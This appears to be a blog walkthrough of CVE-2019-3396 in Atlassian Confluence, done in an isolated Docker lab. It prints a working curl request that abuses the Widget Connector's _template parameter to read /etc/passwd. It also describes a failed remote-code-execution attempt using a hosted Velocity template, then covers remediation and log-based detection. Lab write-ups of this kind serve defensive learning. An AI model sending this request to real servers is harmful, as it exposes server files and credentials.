November 2, 2026
Hiding in Plain Sight: A Hands-On Look at Confluence’s Widget Connector Flaw
My Walkthrough of CVE-2019–3396
By Byaruhangafortunate
3 min read
My Walkthrough of CVE-2019–3396
Some vulnerabilities need custom tooling and days of random testing. Others hide in a feature you'd never suspect: a widget meant to embed content from external sites. This is a walkthrough of CVE-2019–3396, a critical Atlassian Confluence vulnerability, and what it taught me about how convenience features can become attack surfaces.
The target
Confluence has a Widget Connector macro that lets users embed external content, like a YouTube video, directly into a page. To render that content correctly, the macro uses a _template parameter telling the system which layout file to use for display.
The bug: Confluence never validates that parameter. Instead of accepting only the layout names it expects, it will happily accept a path to any file on the server. Point _template at /etc/passwd instead of a legitimate template, and the server reads and returns that file's contents straight to the attacker.
This earned a CVSS score of 9.8 (Critical) for a simple reason: it needs no special privileges, it's exploitable remotely, and in a fully vulnerable environment it escalates to remote code execution.
Setting it up safely
I built an isolated lab rather than touching anything live:
- Target: Confluence 6.10.2, deployed via the Vulhub Docker project
- Host: Ubuntu in a VirtualBox VM, NAT networking
- Snapshot: taken right after setup, before any exploitation, so I could always roll back to a clean state
This kind of isolation matters. You want to break things in a sandbox you fully control, not anywhere near production data.
Confirming the target was alive
Before trying anything, I confirmed the server was reachable and behaving normally:
curl -I http://localhost:8090/curl -I http://localhost:8090/This returned a standard HTTP response with Confluence's usual headers, confirming the instance was up and responding as expected. I also loaded the Confluence UI in a browser to see a normal, functioning instance before touching anything.
Getting a foothold: a valid content ID
The Widget Connector macro needs to be attached to a real page, so the first step was creating a test page and pulling its content ID through Confluence's REST API:
curl -s -u admin:admin "http://localhost:8090/rest/api/content?spaceKey=CON&title=TEST" | python3 -m json.tool | grep '"id"'curl -s -u admin:admin "http://localhost:8090/rest/api/content?spaceKey=CON&title=TEST" | python3 -m json.tool | grep '"id"'That returned a content ID, which every later request needed.
Exploit 1: reading files off the server
With a valid content ID in hand, I sent a POST request to the macro preview endpoint, but instead of pointing _template at a real layout, I pointed it at file:///etc/passwd:
curl -s -u admin:admin -X POST \
-H "Content-Type: application/json;charset=UTF-8" \
-H "X-Atlassian-Token: no-check" \
-d '{"contentId":"98323","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ","_template":"file:///etc/passwd"},"body":""}}' \
"http://localhost:8090/rest/tinymce/1/macro/preview"curl -s -u admin:admin -X POST \
-H "Content-Type: application/json;charset=UTF-8" \
-H "X-Atlassian-Token: no-check" \
-d '{"contentId":"98323","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ","_template":"file:///etc/passwd"},"body":""}}' \
"http://localhost:8090/rest/tinymce/1/macro/preview"The server returned the contents of /etc/passwd, system account data it should never expose to a regular user. A feature designed to preview a video embed had just handed over a file from the server's local filesystem. That's the path traversal half of this vulnerability proven.
Exploit 2: attempting remote code execution
In a fully vulnerable Confluence instance, _template isn't just read as a file; it's rendered as an Apache Velocity template, which means it can contain executable code. I built a malicious template (poc.vm) with embedded Velocity code designed to call Runtime.exec("id"), hosted it on a local Python web server, and pointed Confluence's _template parameter at it over HTTP instead of a local file path.
The result was a "widget-error" rather than code execution. I confirmed the engine genuinely wasn't rendering templates by testing a trivial expression (${7*7}); it returned nothing, rather than 49. This is a limitation of the prebuilt Docker image rather than a flaw in my exploit chain: the container treats local templates as plain text instead of passing them to the rendering engine, something a full, standard Confluence installation would do.
This distinction matters in security write-ups: when an exploit doesn't land, you should be able to say why, and show evidence that you checked the right thing, rather than assuming the vulnerability isn't real.
Why this matters beyond the lab
Chained together, these two exploit paths add up to a serious real-world risk:
- Data theft: database credentials and configuration files stored on the server become readable.
- Lateral movement: harvested credentials can open doors into other connected systems, cloud accounts, and internal networks.
- Full compromise: in a fully vulnerable deployment, remote code execution means an attacker can run arbitrary commands, deploy ransomware, or sit quietly inside the network.
- Confidentiality loss: business documents, source code, and customer data become exposed, with the legal and reputational fallout that follows.
All of that from a video embed widget.
Fixing it, and proving the fix worked
Atlassian's official remediation is an upgrade to Confluence 6.6.12, 6.12.3, 6.13.3, or 6.14.2. These versions validate the _template parameter against an allowlist and strip path traversal sequences before the value ever reaches the rendering engine.
Since the Docker lab packages Confluence as a fixed image rather than something you can patch directly, I reproduced the same security outcome by disabling the Widget Connector plugin entirely:
- Logged into Confluence as admin
- Navigated to Settings → Manage Add-ons
- Searched for "widget connector"
- Disabled the plugin
I then re-ran the exact same path traversal request that had previously leaked /etc/passwd. This time, it returned nothing. The attack surface was gone.
What I'd watch for as a defender
Working through both the exploit and the fix left me with a clear list of what this attack looks like from a blue-team seat:
- Web logs: requests to the macro preview endpoint containing
file://,http://, or .. in their parameters - Network logs: unexpected outbound connections from the Confluence server to unfamiliar external addresses, a sign the server is fetching an attacker-hosted template
- Process logs: the main Confluence application spawning shell processes like
shorbash, which it has no legitimate reason to do
The real takeaway
What stuck with me most wasn't the exploit mechanics; it was how little this attack needed. No custom tooling, no obscure zero-day, no social engineering. Just a single crafted request to a feature that looks completely benign, a video preview box. That's the pattern worth remembering: the most dangerous vulnerabilities often live in the features users trust least to be dangerous.